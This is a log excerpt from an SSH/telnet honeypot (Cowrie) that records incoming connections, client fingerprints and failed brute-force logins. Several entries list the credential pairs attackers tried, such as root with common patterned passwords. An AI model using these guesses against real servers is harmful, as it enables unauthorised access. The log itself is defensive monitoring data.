{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":32448,"dst_ip":"159.203.135.109","dst_port":22,"session":"226257a84bb3","protocol":"ssh","message":"New connection: 178.20.210.208:32448 (159.203.135.109:22) [session: 226257a84bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:55.706433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:55.708912Z","src_ip":"178.20.210.208","session":"226257a84bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:55.809570Z","src_ip":"178.20.210.208","session":"226257a84bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX3edc1","message":"login attempt [root/1qaz2WSX3edc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:56.193475Z","src_ip":"178.20.210.208","session":"226257a84bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:57.293553Z","src_ip":"178.20.210.208","session":"226257a84bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.757418155670166,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:09.489076Z","src_ip":"170.64.224.25","session":"d3d3b004cfd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":41654,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a7490a80ce1","protocol":"ssh","message":"New connection: 143.20.185.207:41654 (10.17.0.5:22) [session: 3a7490a80ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:11.855388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:11.859498Z","src_ip":"143.20.185.207","session":"3a7490a80ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:11.973550Z","src_ip":"143.20.185.207","session":"3a7490a80ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA8VCPU32GBAMD","message":"login attempt [root/RASYAXINSA8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:12.338146Z","src_ip":"143.20.185.207","session":"3a7490a80ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:13.459067Z","src_ip":"143.20.185.207","session":"3a7490a80ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:14.666616Z","src_ip":"8.210.75.243","session":"9575bb2d6ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:24.101431Z","src_ip":"8.210.75.243","session":"f3e794248094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52332,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a5620b9403","protocol":"telnet","message":"New connection: 107.6.151.170:52332 (159.203.135.109:23) [session: b4a5620b9403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:48.787296Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39656,"dst_ip":"159.203.135.109","dst_port":23,"session":"80bfdb0b5363","protocol":"telnet","message":"New connection: 107.6.151.170:39656 (159.203.135.109:23) [session: 80bfdb0b5363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:51.469089Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45134,"dst_ip":"10.17.0.5","dst_port":22,"session":"e568f948b3e1","protocol":"ssh","message":"New connection: 8.210.75.243:45134 (10.17.0.5:22) [session: e568f948b3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:51.982808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:51.986757Z","src_ip":"8.210.75.243","session":"e568f948b3e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:08:59.102056Z","src_ip":"8.210.75.243","session":"f3e794248094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":51444,"dst_ip":"10.17.0.5","dst_port":22,"session":"32d70057595f","protocol":"ssh","message":"New connection: 105.27.148.94:51444 (10.17.0.5:22) [session: 32d70057595f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:00.256011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:00.262660Z","src_ip":"105.27.148.94","session":"32d70057595f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:00.524699Z","src_ip":"105.27.148.94","session":"32d70057595f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv@123","message":"login attempt [root/Zxcv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:01.607660Z","src_ip":"105.27.148.94","session":"32d70057595f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39266,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f70eb257ccf","protocol":"telnet","message":"New connection: 170.64.224.25:39266 (159.203.135.109:23) [session: 0f70eb257ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:01.616721Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:02.877089Z","src_ip":"105.27.148.94","session":"32d70057595f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50498,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8324207a403","protocol":"telnet","message":"New connection: 107.6.151.170:50498 (159.203.135.109:23) [session: a8324207a403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:03.449893Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":45652,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea71c2e32741","protocol":"ssh","message":"New connection: 81.192.46.32:45652 (10.17.0.5:22) [session: ea71c2e32741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:11.773824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:11.777659Z","src_ip":"81.192.46.32","session":"ea71c2e32741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:11.891594Z","src_ip":"81.192.46.32","session":"ea71c2e32741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":55842,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e4e81c3ec05","protocol":"ssh","message":"New connection: 152.67.46.203:55842 (10.17.0.5:22) [session: 4e4e81c3ec05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:12.262985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:12.266290Z","src_ip":"152.67.46.203","session":"4e4e81c3ec05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:12.378093Z","src_ip":"152.67.46.203","session":"4e4e81c3ec05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678a","message":"login attempt [ubuntu/12345678a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:12.381963Z","src_ip":"81.192.46.32","session":"ea71c2e32741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^&*","message":"login attempt [root/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:12.863511Z","src_ip":"152.67.46.203","session":"4e4e81c3ec05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:13.499213Z","src_ip":"81.192.46.32","session":"ea71c2e32741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:13.978211Z","src_ip":"152.67.46.203","session":"4e4e81c3ec05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41100,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd2257ecf147","protocol":"ssh","message":"New connection: 8.210.75.243:41100 (10.17.0.5:22) [session: dd2257ecf147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:26.322927Z"}
{"eventid":"cowrie.session.closed","duration":40.813087940216064,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:32.282051Z","src_ip":"107.6.151.170","session":"80bfdb0b5363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53196,"dst_ip":"10.17.0.5","dst_port":22,"session":"e187e1126397","protocol":"ssh","message":"New connection: 8.210.75.243:53196 (10.17.0.5:22) [session: e187e1126397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:32.392641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:32.396425Z","src_ip":"8.210.75.243","session":"e187e1126397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":10974,"dst_ip":"10.17.0.5","dst_port":22,"session":"c80766fd3ce4","protocol":"ssh","message":"New connection: 123.58.213.128:10974 (10.17.0.5:22) [session: c80766fd3ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:37.165718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:37.169294Z","src_ip":"123.58.213.128","session":"c80766fd3ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:37.385717Z","src_ip":"123.58.213.128","session":"c80766fd3ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwertyuiop123@","message":"login attempt [root/Qwertyuiop123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:38.279587Z","src_ip":"123.58.213.128","session":"c80766fd3ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.47188091278076,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:38.921625Z","src_ip":"107.6.151.170","session":"a8324207a403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:39.504397Z","src_ip":"123.58.213.128","session":"c80766fd3ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36466,"dst_ip":"159.203.135.109","dst_port":23,"session":"2629c346e8ca","protocol":"telnet","message":"New connection: 170.64.224.25:36466 (159.203.135.109:23) [session: 2629c346e8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:40.550644Z"}
{"eventid":"cowrie.session.closed","duration":60.72696352005005,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:49.514137Z","src_ip":"107.6.151.170","session":"b4a5620b9403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.43136763572693,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:09:51.048001Z","src_ip":"170.64.224.25","session":"0f70eb257ccf","protocol":"telnet"}
